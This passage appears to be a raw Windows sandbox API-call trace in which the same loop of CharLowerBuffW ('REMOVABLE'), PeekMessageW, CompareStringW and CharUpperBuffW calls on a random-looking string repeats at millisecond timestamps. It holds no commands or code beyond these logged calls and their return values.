CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.813] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.813] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.813] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.813] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.813] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.813] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.813] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.813] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.814] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.814] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.814] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.814] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.814] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.814] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.815] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.815] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.815] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.816] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.816] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.816] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.816] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.816] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.816] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.816] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.816] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.817] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.817] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.817] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.817] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.817] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.818] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.818] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.818] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.818] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.818] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.819] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.820] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.820] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.820] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.820] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.820] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.820] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.820] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.820] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.820] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.820] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.820] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.820] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.820] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.820] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.821] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.821] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.821] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.821] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.821] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.821] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.821] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.821] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.822] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.822] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.822] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.822] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.822] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.822] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.822] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.822] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.822] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.822] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.822] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.823] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.823] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.823] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.823] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.824] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.824] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.824] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.824] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.824] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.824] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.825] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.825] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.825] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.825] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.825] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.825] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.826] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.826] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.826] PeekMessageW (in: 